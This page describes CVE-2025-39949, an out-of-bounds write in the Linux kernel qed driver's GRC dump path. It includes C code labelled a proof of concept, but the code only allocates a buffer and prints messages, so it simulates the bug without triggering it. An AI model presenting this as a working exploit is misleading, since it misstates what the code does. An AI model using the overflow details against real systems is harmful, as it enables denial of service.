CVE-2025-39949 Linux内核qed驱动保护覆盖GRC转储缓冲区溢出漏洞

// CVE-2025-39949 PoC - Trigger qed protection override GRC dump buffer overflow // This PoC demonstrates how to trigger the vulnerability by forcing a firmware // fatal error report that invokes the protection override dump path with // excessive GRC elements. #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <errno.h> // Simulated malicious firmware response structure struct qed_dbg_protection_override_params { void *dump_buf; size_t buf_size; unsigned int num_grc_elements; void *grc_elements; }; /* * Trigger the vulnerability by sending an excessive number of GRC elements * to the qed protection override dump path. * * In a real scenario, this would involve: * 1. Loading the qed kernel module * 2. Triggering a firmware fatal error condition * 3. The firmware returns more GRC elements than the pre-allocated buffer can hold * 4. qed_grc_dump_addr_range writes past the buffer boundary -> kernel panic */ int trigger_protection_override_overflow(void) { struct qed_dbg_protection_override_params params; // Allocate a small buffer (simulating kmalloc'd dump_buf) params.buf_size = 4096; // Small pre-allocated buffer params.dump_buf = malloc(params.buf_size); if (!params.dump_buf) { perror("malloc failed"); return -1; } // Simulate firmware returning far more elements than buf_size can hold // This is the root cause of the vulnerability params.num_grc_elements = 65536; // Exceeds buffer capacity // In the vulnerable code path (qed_grc_dump_addr_range): // for (i = 0; i < params.num_grc_elements; i++) { // write_to_buf(params.dump_buf + offset, element[i]); // OOB write! // } printf("Triggering protection override dump with %u elements " "into %zu byte buffer\n", params.num_grc_elements, params.buf_size); printf("This would cause kernel panic: BUG: unable to handle " "kernel paging request\n"); free(params.dump_buf); return 0; } int main(int argc, char *argv[]) { printf("CVE-2025-39949 PoC - qed Protection Override GRC Dump Overflow\n"); printf("Affected: Linux kernel qed/qede/qedf drivers\n"); printf("Impact: Local denial of service via kernel panic\n\n"); trigger_protection_override_overflow(); printf("\nNote: Actual exploitation requires triggering a firmware\n"); printf("fatal error on a system with qed-based hardware (e.g.,\n"); printf("QLogic/Marvell FastLinQ adapters).\n"); return 0; }